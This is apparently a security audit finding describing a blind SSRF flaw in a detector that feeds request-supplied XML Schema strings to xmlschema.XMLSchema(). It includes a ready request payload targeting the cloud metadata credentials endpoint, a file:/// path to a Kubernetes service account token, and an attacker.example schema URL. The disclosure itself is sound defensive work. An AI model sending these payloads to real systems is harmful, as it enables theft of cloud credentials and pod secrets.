Finding
The file_type detector accepts arbitrary XML Schema Definition strings from request body and passes them directly to xmlschema.XMLSchema(), which by default resolves xs:import/xs:include/xs:redefine over any URL scheme, enabling blind SSRF from the detector pod to cloud metadata services, internal endpoints, and local file read.

File: detectors/built_in/file_type_detectors.py:138-167 (esp. 145)
Framework: ASVS V5.5.2, V12.6.1


Detail
The file_type detector accepts "xml-with-schema:<XSD>" where <XSD> is an arbitrary string taken from the request body (file_type_detectors.py:196-199). It is passed directly to:



xs = xmlschema.XMLSchema(schema)   # line 145
xmlschema (v4.1.0) by default resolves <xs:import> / <xs:include> / <xs:redefine> schemaLocation attributes over any URL scheme unless constructed with allow='sandbox' or allow='local'. An attacker can submit:



{"contents":["<a/>"],
 "detector_params":{"file_type":[
   "xml-with-schema:<xs:schema xmlns:xs='http://www.w3.org/2001/XMLSchema'><xs:include schemaLocation='http://169.254.169.254/latest/meta-data/iam/security-credentials/'/></xs:schema>"
 ]}}
This triggers blind SSRF from the detector pod to the cloud metadata service, internal MinIO, Kubernetes API (https://kubernetes.default.svc), or any in-mesh endpoint. With schemaLocation='file:///var/run/secrets/kubernetes.io/serviceaccount/token' the library attempts a local read. Parse errors are caught generically (except Exception), so exfiltration is blind/error-based, but the outbound request or file open occurs regardless.

Additionally, xmlschema.XMLSchema() treats a bare string that looks like a path/URL as a location to fetch — "xml-with-schema:http://attacker.example/x.xsd" is itself an SSRF without needing the xs:include wrapper.

Impact
Blind SSRF from the detector pod to cloud metadata endpoints (credential theft), Kubernetes API, internal MinIO, and any in-mesh endpoint. Local file read of service account tokens and pod secrets.

Source
Project Glasswing (Mythos) security audit. Audit ref: rhoai-3.4 @ 29f7a14d008e667d6f216ba5921e95daf6c9a269.